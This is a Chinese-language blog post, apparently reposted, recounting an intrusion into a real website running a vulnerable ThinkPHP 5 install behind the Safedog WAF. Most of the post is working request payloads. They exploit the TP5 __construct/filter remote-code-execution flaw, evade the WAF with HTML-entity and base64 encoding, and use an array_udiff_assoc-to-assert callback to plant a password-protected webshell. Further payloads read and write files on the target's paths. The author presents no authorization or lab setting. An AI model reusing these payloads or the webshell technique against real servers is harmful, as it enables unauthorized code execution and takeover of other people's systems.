tp5漏洞payload過waf(安全狗)


搞某XX站,存在TP5漏洞,但是有安全狗,直接getshell不了,過濾了很多敏感字符,比如eval,copy等等

 

 

 

 

 

 這里我想到了二個思路:

①   使用copy()或者file_put_contents()函數寫入過狗一句話代碼,並且接收payload的參數經過base64解密,對應的傳參經過base64加密;

②   在tp 5的POC上利用assert函數執行eval函數,eval函數使用$_REQUEST數組接收參數,並且接受的參數經過base64解密,對應的傳參也要經過base64加密

   

艱辛的過程:

①    

_method=__construct&filter[]=assert&method=get&get[]=file_put_contents("123.txt","%26%6c%74%3b?php phpinfo; ?>")

 

 <進行了過濾,只要<xxxxx都會被過濾,用HTML實體編碼&lt;繞過,注意需要url編碼,也可以使用copy函數

后面測試發現能解析的路徑沒有權限,並且不能創建php文件

 

②    

_method=__construct&filter[]=assert&method=get&get[]=array_udiff_assoc(array(base64_decode($_REQUEST[123])), array(1), "assert")&123= cGhwaW5mbygpOw==

 

使用array_udiff_assoc函數回調assert函數,參數經過base64解密,這樣就能直接連接webshell管理工具,密碼是123,webshell管理工具的payload要經過base64加密

 

 

 

 

最終payload使用eval函數,密碼1

 


_method=__construct&filter[]=assert&method=get&get[]=array_udiff_assoc(array(base64_decode($_REQUEST[123])), array(1), "assert")&123=ZXZhbChiYXNlNjRfZGVjb2RlKCRfUkVRVUVTVFsxXSkp&1=cGhwaW5mbygpOw==

 

附測試過程用的函數:

file_get_contents("D:/wwwroot/www.huiyijia.top/web/2.php") 讀取文件

print_r() 輸出函數,echo和print是語言結構

file_exists() 判定某個文件是否存在                

file_put_contents("D:/wwwroot/www.huiyijia.top/extend/123.txt","1234.php") 寫入文件

array_udiff_assoc(array(base64_decode($_REQUEST[123])), array(1), "assert") 第三個參數是回調函數,第一個參數和第二個參數調用回調函數進行比較,返回值是數組


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM